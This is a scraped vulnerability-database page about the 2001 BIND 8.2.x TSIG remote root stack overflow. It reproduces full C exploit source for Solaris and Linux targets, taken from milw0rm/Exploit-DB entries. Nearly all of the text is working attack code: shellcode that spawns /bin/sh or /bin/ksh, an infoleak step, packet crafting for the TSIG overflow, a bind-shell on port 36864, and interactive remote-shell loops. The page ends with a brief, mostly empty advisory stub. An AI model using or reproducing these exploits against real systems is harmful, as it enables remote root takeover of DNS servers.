        printf("%s%02x ",(i&&(!(i%16)))?"\n":"",(unsigned char)buffer[512+i]);
    }
    printf("\n\n");

    fp=rev(*(unsigned int*)&buffer[532]);
    ofs=0xfe-((fp-(fp&0xffffff00))&0xff);
    cnt=163;

    if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
        printf("system does not seem to be a vulnerable linux\n");exit(1);
    }
    if(flag==1){
        printf("system seems to be running bind 8.2.x on a linux\n");exit(-1);
    }
    if(cnt<(ofs+28)){
        printf("frame ptr is too low to be successfully exploited\n");exit(-1);
    }


    jmp=rev(fp-586);
    ptr6=rev((fp&0xffffff00)-12);
    fp=rev(fp&0xffffff00);

    printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
    printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);

    b=buffer;
    memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12;
    for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
    for(i=0;i<(128>>1);i++,b++) *b++=0x01;
    memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5;
    for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;

    *b++=28;
    memcpy(b,"\x06\x00\x00\x00",4);b+=4;
    memcpy(b,&fp,4);b+=4;
    memcpy(b,"\x06\x00\x00\x00",4);b+=4;
    memcpy(b,&jmp,4);b+=4;
    memcpy(b,&jmp,4);b+=4;
    memcpy(b,&fp,4);b+=4;
    memcpy(b,&ptr6,4);b+=4;

    cnt-=ofs+28;
    for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;

    memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9;


    if(write(sck[0],buffer,b-buffer)==-1) goto err;
    sleep(1);printf("sent!\n");

    write(sck[1],"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck[1],&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck[1],buf,cnt);
            }
            if(FD_ISSET(sck[1],&fds)){
                if((cnt=read(sck[1],buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
    exit(0);
err:
    perror("error");exit(-1);
}


// milw0rm.com [2001-03-01]
		

- 漏洞信息 (280)

BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (3) (EDBID:280)
solaris remote
2001-03-01 Verified
53 LSD-PLaNET
N/A [点击下载]
/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland        *://lsd-pl.net/ #*/
/*## bind 8.2 8.2.1 8.2.2 8.2.2-PX                           Solaris 2.7 x86 #*/

/* The code establishes a TCP connection with port 53 of a target system.     */
/* It makes use of the "infoleek" bug (through UDP) to obtain the base        */
/* value of the named process frame stack pointer, which is later used        */
/* for constructing proper DNS tsig exploit packet.                           */
/*                                                                            */
/* Upon successful exploitation the assembly routine gets executed. It        */
/* walks the descriptor table of the exploited named process in a search      */
/* for the socket descriptor of the previously established TCP connection.    */
/* Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh     */
/* is spawned.                                                                */
/*                                                                            */
/* The use of such an assembly routine allows successfull exploitation of     */
/* the vulnerability in the case when vulnerable dns servers are protected    */
/* by tightly configured firewall systems (with only 53 tcp/udp port open).   */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

char msg[]={
    0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
    0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
    0x01,0x20,0x20,0x20,0x20,0x02,0x61
};

char asmcode[]=
    "\x1b"                 /* label len 1+26                 */
    "\x90"                 /* padding                        */

    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\xeb\x09"             /* jmp     <syscallcode+13>       */
    "\x5f"                 /* popl    %edi                   */
    "\x57"                 /* pushl   %edi                   */
    "\x47"                 /* incl    %edi                   */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x47"                 /* incl    %edi                   */
    "\xaa"                 /* stosb   %al,%es:(%edi)         */
    "\x5e"                 /* popl    %esi                   */
    "\xeb\x0e"             /* jmp     <syscallcode+26+1>     */
    "\xe8\xf2\xff\xff\xff" /* call    <syscallcode+4>        */
    "\x9a\xff\xff\xff\xff"
    "\x07\xff"
    "\xc3"                 /* ret                            */

    "\x33"                 /* label len 51                   */

    "\x56"                 /* pushl   %esi                   */
    "\x5f"                 /* popl    %edi                   */
    "\x83\xef\x7c"         /* subl    $0x7c,%edi             */
    "\x57"                 /* pushl   %edi                   */
    "\x8d\x4f\x10"         /* leal    0x10(%edi),%ecx        */
    "\xb0\x44"             /* movb    $0x44,%al              */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x91"                 /* xchgl   %ecx,%eax              */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x95"                 /* xchgl   %eax,%ebp              */
    "\x66\xb9\x91\x54"     /* movw    $0x5491,%cx            */
    "\x51"                 /* pushl   %ecx                   */
    "\x66\xb9\x01\x01"     /* movw    $0x0101,%cx            */
    "\x51"                 /* pushl   %ecx                   */
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x36"             /* movb    $0x36,%al              */
    "\xff\xd6"             /* call    *%esi                  */
    "\x59"                 /* popl    %ecx                   */
    "\x33\xdb"             /* xorl    %ebx,%ebx              */
    "\x3b\xc3"             /* cmpl    %ebx,%eax              */
    "\x75\x0a"             /* jne     <findsckcode+49>       */
    "\x66\xbb\x12\x34"     /* movw    $0x1234,%bx            */
    "\x66\x39\x5d\x02"     /* cmpw    %bx,0x2(%ebp)          */
    "\x74\x03"             /* je      <findsckcode+51+1>     */
    "\xe2\xe6"             /* loop    <findsckcode+25>       */

    "\x37"                 /* label len 21+34                */

    "\xb0\x09"             /* movb    $0x09,%al              */
    "\x50"                 /* pushl   %eax                   */
    "\x51"                 /* pushl   %ecx                   */
    "\x91"                 /* xchgl   %ecx,%eax              */
    "\xb1\x03"             /* movb    $0x03,%cl              */
    "\x49"                 /* decl    %ecx                   */
    "\x89\x4c\x24\x08"     /* movl    %ecx,0x8(%esp)         */ 
    "\x41"                 /* incl    %ecx                   */
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x3e"             /* movb    $0x3e,%al              */
    "\xff\xd6"             /* call    *%esi                  */
    "\xe2\xf2"             /* loop    <findsckcode+58+1>     */

    "\xeb\x13"             /* jmp     <shellcode+21>         */
    "\x33\xd2"             /* xorl    %edx,%edx              */
    "\x58"                 /* popl    %eax                   */
    "\x8d\x78\x14"         /* leal    0x14(%eax),edi         */
    "\x52"                 /* pushl   %edx                   */
    "\x57"                 /* pushl   %edi                   */
    "\x50"                 /* pushl   %eax                   */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x92"                 /* xchgl   %eax,%edx              */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x88\x42\x08"         /* movb    %al,0x8(%edx)          */
    "\xb0\x3b"             /* movb    $0x3b,%al              */
    "\xff\xd6"             /* call    *%esi                  */
    "\xe8\xe8\xff\xff\xff" /* call    <shellcode+2>          */
    "/bin/ksh"
;

int rev(int a){
    int i=1;
    if((*(char*)&i)) return(a);
    return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

int main(int argc,char **argv){
    char buffer[1024],*b;
    int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland  //lsd-pl.net/\n");
    printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for solaris 2.7 x86\n\n");

    if(argc<2){
        printf("usage: %s address [-s][-e]\n",argv[0]);
        printf("    -s  send infoleek packet\n");
        printf("    -e  send exploit packet\n");
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"se"))!=-1){
        switch(c){
        case 's': flag=1;break;
        case 'e': flag=2;
        }
    }
    if(flag==-1) exit(-1);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(53);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
        if((hp=gethostbyname(argv[1]))==NULL) {
            errno=EADDRNOTAVAIL;goto err;
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck[0]=socket(AF_INET,SOCK_DGRAM,0);
    sck[1]=socket(AF_INET,SOCK_STREAM,0);

    if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
    if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

    i=sizeof(struct sockaddr_in);
    if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
        struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
        struct netbuf nb;
        ioctl(sck[1],(('S'<<8)|2),"sockmod");
        nb.maxlen=0xffff;
        nb.len=sizeof(struct sockaddr_in);;
        nb.buf=(char*)&adr;
        ioctl(sck[1],(('T'<<8)|144),&nb);
    }
    n=ntohs(adr.sin_port);

    asmcode[1+1+26+1+39+2]=(unsigned char)((n>>8)&0xff);
    asmcode[1+1+26+1+39+3]=(unsigned char)(n&0xff);

    if(write(sck[0],msg,sizeof(msg))==-1) goto err;
    if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
   
    printf("stack dump:\n");
    for(i=0;i<(cnt-512);i++){
        printf("%s%02x ",(i&&(!(i%16)))?"\n":"",(unsigned char)buffer[512+i]);
    }
    printf("\n\n");

    fp=rev(*(unsigned int*)&buffer[532]);
    ofs=0x0106-((fp-(fp&0xffffff00))&0xff);
    cnt=163;

    if((buffer[512+20+2]!=(char)0x04)&&(buffer[512+20+3]!=(char)0x08)){
        printf("system does not seem to be a vulnerable solaris\n");exit(1);
    }

    if(flag==1){
        printf("system seems to be running bind 8.2.x on a solaris\n");exit(-1);
    }

    if(cnt<(ofs+12)){
        printf("frame ptr is too low to be successfully exploited\n");exit(-1);
    }

    jmp=rev(fp-583);
    ptr6=rev((fp&0xffffff00)+8);
    fp=rev(fp&0xffffff00);

    printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
    printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);

    b=buffer;
    memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12;
    for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
    for(i=0;i<(120>>1);i++,b++) *b++=0x01;
    memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5;
    for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;

    *b++=12;
    memcpy(b,&jmp,4);b+=4;
    memcpy(b,"\x06\x00\x00\x00",4);b+=4;
    memcpy(b,&ptr6,4);b+=4;
    cnt-=ofs+12;
    for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;

    memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9;

    if(write(sck[0],buffer,b-buffer)==-1) goto err;
    sleep(1);printf("sent!\n");

    write(sck[1],"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck[1],&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck[1],buf,cnt);
            }
            if(FD_ISSET(sck[1],&fds)){
                if((cnt=read(sck[1],buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
    exit(0);
err:
    perror("error");exit(-1);
}

// milw0rm.com [2001-03-01]
		

- 漏洞信息 (282)

BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (4) (EDBID:282)
linux remote
2001-03-02 Verified
53 multiple
N/A [点击下载]
/*
 * This exploit has been fixed and extensive explanation and clarification
 * added.
 * Cleanup done by:
 *     Ian Goldberg     <ian@cypherpunks.ca>
 *     Jonathan Wilkins <jwilkins@bitland.net>
 * NOTE: the default installation of RedHat 6.2 seems to not be affected
 * due to the compiler options.  If BIND is built from source then the
 * bug is able to manifest itself.
 */
/*
 * Original Comment:
 * lame named 8.2.x remote exploit by
 *
 *   Ix		[adresadeforward@yahoo.com] (the master of jmpz),
 *   lucysoft	[lucysoft@hotmail.com] (the master of queries)
 *
 * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
 * linux only shellcode
 * this is only for demo purposes, we are not responsable in any way for what you do with this code.
 *
 * flamez 	- canaris
 * greetz	- blizzard, netman.
 * creditz	- anathema <anathema@hack.co.za> for the original shellcode
 *  		- additional code ripped from statdx exploit by ron1n
 *
 * woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea.
 * if you understand how it works, it won't be too hard to un-broke it
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;

char shellcode[] =
/* The numbers at the right indicate the number of bytes the call takes
 * and the number of bytes used so far.  This needs to be lower than
 * 62 in order to fit in a single Query Record.  2 are used in total to
 * send the shell code
 */
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate
   spot first */
"\xeb\x44"                           /* jmp intr                */ // 2 - 2
/* start: */
"\x5e"                               /* popl %esi               */ // 1 - 3

  /* socket() */
"\x29\xc0"                           /* subl %eax, %eax         */ // 2 - 5
"\x89\x46\x10"                       /* movl %eax, 0x10(%esi)   */ // 3 - 8
"\x40"                               /* incl %eax               */ // 1 - 9
"\x89\xc3"                           /* movl %eax, %ebx         */ // 2 - 11
"\x89\x46\x0c"                       /* movl %eax, 0x0c(%esi)   */ // 3 - 14
"\x40"                               /* incl %eax               */ // 1 - 15
"\x89\x46\x08"                       /* movl %eax, 0x08(%esi)   */ // 3 - 18
"\x8d\x4e\x08"                       /* leal 0x08(%esi), %ecx   */ // 3 - 21
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 23
"\xcd\x80"                           /* int $0x80               */ // 2 - 25

  /* bind() */
"\x43"                               /* incl %ebx               */ // 1 - 26
"\xc6\x46\x10\x10"                   /* movb $0x10, 0x10(%esi)  */ // 4 - 30
"\x66\x89\x5e\x14"                   /* movw %bx, 0x14(%esi)    */ // 4 - 34
"\x88\x46\x08"                       /* movb %al, 0x08(%esi)    */ // 3 - 37
"\x29\xc0"                           /* subl %eax, %eax         */ // 2 - 39
"\x89\xc2"                           /* movl %eax, %edx         */ // 2 - 41
"\x89\x46\x18"                       /* movl %eax, 0x18(%esi)   */ // 3 - 44
/*
 * the port address in hex (0x9000 = 36864), if this is changed, then a similar
 * change must be made in the connection() call
 * NOTE: you only get to set the high byte
 */
"\xb0\x90"                           /* movb $0x90, %al         */ // 2 - 46
"\x66\x89\x46\x16"                   /* movw %ax, 0x16(%esi)    */ // 4 - 50
"\x8d\x4e\x14"                       /* leal 0x14(%esi), %ecx   */ // 3 - 53
"\x89\x4e\x0c"                       /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
"\x8d\x4e\x08"                       /* leal 0x08(%esi), %ecx   */ // 3 - 59

"\xeb\x02"                           /* jmp cont                */ // 2 - 2
/* intr: */
"\xeb\x43"                           /* jmp callz               */ // 2 - 4

/* cont: */
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 6
"\xcd\x80"                           /* int $0x80               */ // 2 - 10

  /* listen() */
"\x89\x5e\x0c"                       /* movl %ebx, 0x0c(%esi)   */ // 3 - 11
"\x43"                               /* incl %ebx               */ // 1 - 12
"\x43"                               /* incl %ebx               */ // 1 - 13
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 15
"\xcd\x80"                           /* int $0x80               */ // 2 - 17

  /* accept() */
"\x89\x56\x0c"                       /* movl %edx, 0x0c(%esi)   */ // 3 - 20
"\x89\x56\x10"                       /* movl %edx, 0x10(%esi)   */ // 3 - 23
"\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 25
"\x43"                               /* incl %ebx               */ // 1 - 26
"\xcd\x80"                           /* int $0x80               */ // 1 - 27

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"                           /* xchgb %al, %bl          */ // 2 - 29
"\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 31
"\x29\xc9"                           /* subl %ecx, %ecx         */ // 2 - 33
"\xcd\x80"                           /* int $0x80               */ // 2 - 35
"\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 37
"\x41"                               /* incl %ecx               */ // 1 - 38
"\xcd\x80"                           /* int $0x80               */ // 2 - 40
"\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 42
"\x41"                               /* incl %ecx               */ // 1 - 43
"\xcd\x80"                           /* int $0x80               */ // 2 - 45

  /* execve() */
"\x88\x56\x07"                       /* movb %dl, 0x07(%esi)    */ // 3 - 48
"\x89\x76\x0c"                       /* movl %esi, 0x0c(%esi)   */ // 3 - 51
"\x87\xf3"                           /* xchgl %esi, %ebx        */ // 2 - 53
"\x8d\x4b\x0c"                       /* leal 0x0c(%ebx), %ecx   */ // 3 - 56
"\xb0\x0b"                           /* movb $0x0b, %al         */ // 2 - 58
"\xcd\x80"                           /* int $0x80               */ // 2 - 60

"\x90"

/* callz: */
"\xe8\x72\xff\xff\xff"               /* call start              */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */                     // 8 - 13

unsigned long resolve_host(char* host)
{
	long res;
	struct hostent* he;

	if (0 > (res = inet_addr(host)))
	{
		if (!(he = gethostbyname(host)))
			return(0);
		res = *(unsigned long*)he->h_addr;
	}
	return(res);
}

int dumpbuf(char *buff, int len)
{
	char line[17];
	int x;

	/* print out a pretty hex dump */
	for(x=0;x<len;x++){
		if(!(x%16) && x){
			line[16] = 0;
			printf("\t%s\n", line);
		}
		printf("%02X ", (unsigned char)buff[x]);
		if(isprint((unsigned char)buff[x]))
			line[x%16]=buff[x];
		else
			line[x%16]='.';
	}
	printf("\n");
}

void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;
    send(sockd, "uname -a; id;\n", 15, 0);

    for(;;)
    {

        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sockd, &fds);

        if(select(fmax, &fds, NULL, NULL, NULL) < 0)
        {
            exit(EXIT_FAILURE);
        }

        if(FD_ISSET(sockd, &fds))
        {
            bzero(buff, sizeof buff);
            if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
            {
                exit(EXIT_FAILURE);
            }
            if(!ret)
            {
                fprintf(stderr, "Connection closed\n");
                exit(EXIT_FAILURE);
            }
            write(fileno(stdout), buff, ret);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            bzero(buff, sizeof buff);
            ret = read(fileno(stdin), buff, sizeof buff);
            if(send(sockd, buff, ret, 0) != ret)
            {
                fprintf(stderr, "Transmission loss\n");
                exit(EXIT_FAILURE);
            }
        }
    }
}


connection(struct sockaddr_in host)
{
	int sockd;

	host.sin_port = htons(36864);

	printf("[*] connecting..\n");
	usleep(2000);

	if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	{
		exit(EXIT_FAILURE);
	}

	if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
	{
		printf("[*] wait for your shell..\n");
		usleep(500);
	        runshell(sockd);
	}
	else
	{
		printf("[x] error: named not vulnerable or wrong offsets used\n");
	}

	close(sockd);
}




int infoleak_qry(char* buff)
{
        HEADER* hdr;
        int n, k;
        char* ptr;
        int qry_space = 12;
        int dummy_names = 7;
        int evil_size = 0xff;

        memset(buff, 0, BUFFSIZE);
        hdr = (HEADER*)buff;

        hdr->id = htons(0xbeef);
        hdr->opcode  = IQUERY;
        hdr->rd      = 1;
        hdr->ra      = 1;
        hdr->qdcount = htons(0);
        hdr->nscount = htons(0);
        hdr->ancount = htons(1);
        hdr->arcount = htons(0);


	ptr = buff + sizeof(HEADER);
	printf("[d] HEADER is %d long\n", sizeof(HEADER));
	
	n = 62;

	for(k=0; k < dummy_names; k++)
	{
		*ptr++ = n;
		ptr += n;
	}
	ptr += 1;

        PUTSHORT(1/*ns_t_a*/, ptr);              /* type */
        PUTSHORT(T_A, ptr);                      /* class */
        PUTLONG(1, ptr);                		/* ttl */

	PUTSHORT(evil_size, ptr);			/* our *evil* size */
	
	return(ptr - buff + qry_space);
	
}



int evil_query(char* buff, int offset)
{
	int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
	HEADER* hdr;
	char *ptr;
	int k, bufflen;
	u_int n, m;
	u_short s;
	int i;
	int shelloff, shellstarted, shelldone;
	int towrite, ourpack;
	int n_dummy_rrs = 7;

	printf("[d] evil_query(buff, %08x)\n", offset);
	printf("[d] shellcode is %d long\n", sizeof(shellcode));

	shelladdr = offset - 0x200;

        lameaddr  = shelladdr + 0x300;
	
	ourpack = offset - 0x250 + 2;
	towrite = (offset & ~0xff) - ourpack - 6;
	printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));

	rroffsetidx = towrite / 70;
	offset0 = towrite - rroffsetidx * 70;

	if ((offset0 > 52) || (rroffsetidx > 6))
	{
		printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx);
		return(-1);
	}
		
	rrshellidx = 1;
	deplshellcode = 2;
	
	hdr = (HEADER*)buff;
	
	memset(buff, 0, BUFFSIZE);
	
	/* complete the header */
	
	hdr->id = htons(0xdead);
	hdr->opcode  = QUERY;
	hdr->rd      = 1;
	hdr->ra      = 1;
	hdr->qdcount = htons(n_dummy_rrs);
	hdr->ancount = htons(0);
	hdr->arcount = htons(1);
	
	ptr = buff + sizeof(HEADER);
	
	shellstarted = 0;
	shelldone = 0;
	shelloff = 0;
	
	n = 63;
	for (k = 0; k < n_dummy_rrs; k++)
	{
		*ptr++ = (char)n;
		
		for(i = 0; i < n-2; i++)
		{
			if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
			{
				printf("[*] injecting shellcode at %d\n", k);
				shellstarted = 1;
			}
		
			if ((k == rroffsetidx) && (i == offset0))
			{
				*ptr++ = lameaddr & 0x000000ff;
				*ptr++ = (lameaddr & 0x0000ff00) >> 8;
				*ptr++ = (lameaddr & 0x00ff0000) >> 16;
				*ptr++ = (lameaddr & 0xff000000) >> 24;
				*ptr++ = shelladdr & 0x000000ff;
				*ptr++ = (shelladdr & 0x0000ff00) >> 8;
				*ptr++ = (shelladdr & 0x00ff0000) >> 16;
				*ptr++ = (shelladdr & 0xff000000) >> 24;
                                *ptr++ = argevdisp1 & 0x000000ff;
                                *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
                                *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
                                *ptr++ = (argevdisp1 & 0xff000000) >> 24;
                                *ptr++ = argevdisp2 & 0x000000ff;
                                *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
                                *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
                                *ptr++ = (argevdisp2 & 0xff000000) >> 24;
				i += 15;
			}
			else
			{
				if (shellstarted && !shelldone)
				{
					*ptr++ = shellcode[shelloff++];	
					if(shelloff == (sizeof(shellcode)))
						shelldone=1;
				}
				else
				{
					*ptr++ = i;
				}
			}
		}
		
		/* OK: this next set of bytes constitutes the end of the
                 *     NAME field, the QTYPE field, and the QCLASS field.
                 *     We have to have the shellcode skip over these bytes,
                 *     as well as the leading 0x3f (63) byte for the next
                 *     NAME field.  We do that by putting a jmp instruction
                 *     here.
                 */
		*ptr++ = 0xeb;
		
		if (k == 0)
		{
			*ptr++ = 10;
			
			/* For alignment reasons, we need to stick an extra
                         * NAME segment in here, of length 3 (2 + header).
                         */
			m = 2;
			*ptr++ = (char)m;        // header
			ptr += 2;
		}
		else
		{
			*ptr++ = 0x07;
		}
		
		/* End the NAME with a compressed pointer.  Note that it's
                 * not clear that the value used, C0 00, is legal (it
                 * points to the beginning of the packet), but BIND apparently
                 * treats such things as name terminators, anyway.
                 */
		*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
		*ptr++ = 0x00; /*NS_CMPRSFLGS*/
		
		ptr += 4;      /* QTYPE, QCLASS */
	}
	
	/* Now we make the TSIG AR */
	*ptr++ = 0x00;       /* Empty name */

	PUTSHORT(0xfa, ptr); /* Type  TSIG */
	PUTSHORT(0xff, ptr); /* Class ANY  */

	bufflen = ptr - buff;
	
	// dumpbuf(buff, bufflen);

	return(bufflen);
}

long xtract_offset(char* buff, int len)
{
	long ret;
	
	/* Here be dragons. */
	/* (But seriously, the values here depend on compilation options
         *  used for BIND.
         */
	ret = *((long*)&buff[0x214]);
	argevdisp1 = 0x080d7cd0;
	argevdisp2 = *((long*)&buff[0x264]);
	printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",
		argevdisp1, argevdisp2);
	
	// dumpbuf(buff, len);
	
	return(ret);
}




int main(int argc, char* argv[])
{
	struct sockaddr_in sa;
	int sock;
	long address;
	char buff[BUFFSIZE];
	int len, i;
	long offset;
	socklen_t reclen;
	unsigned char foo[4];

	printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix\n");
	printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net\n\n");

	address = 0;
	if (argc < 2)
	{
		printf("[*] usage : %s host\n", argv[0]);

		return(-1);
	}

	if (!(address = resolve_host(argv[1])))
	{
		printf("[x] unable to resolve %s, try using an IP address\n", argv[1]);
		return(-1);
	} else {
		memcpy(foo, &address, 4);
		printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2], foo[3]);
	}
	
	sa.sin_family = AF_INET;

	if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
	{
		return(-1);
	}
	
	sa.sin_family = AF_INET;
	sa.sin_port = htons(53);
	sa.sin_addr.s_addr= address;
	
	
	len = infoleak_qry(buff);
	printf("[d] infoleak_qry was %d long\n", len);
	len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
	if (len < 0)
	{
		printf("[*] unable to send iquery\n");
		return(-1);
	}
	
	reclen = sizeof(sa);
	len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
	if (len < 0)
	{
                printf("[x] unable to receive iquery answer\n");
                return(-1);	
	}
	printf("[*] iquery resp len = %d\n", len);
	
	offset = xtract_offset(buff, len);
	printf("[*] retrieved stack offset = %x\n", offset);
	
	
	len = evil_query(buff, offset);
	if(len < 0){
		printf("[x] error sending tsig packet\n");
		return(0);
	}
	
	sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
	
	if (0 > close(sock))
	{
		return(-1);
	}

	connection(sa);

	return(0);	
}

// milw0rm.com [2001-03-02]
		

- 漏洞信息

14795
ISC BIND TSIG Handling Code Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2001-01-29 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站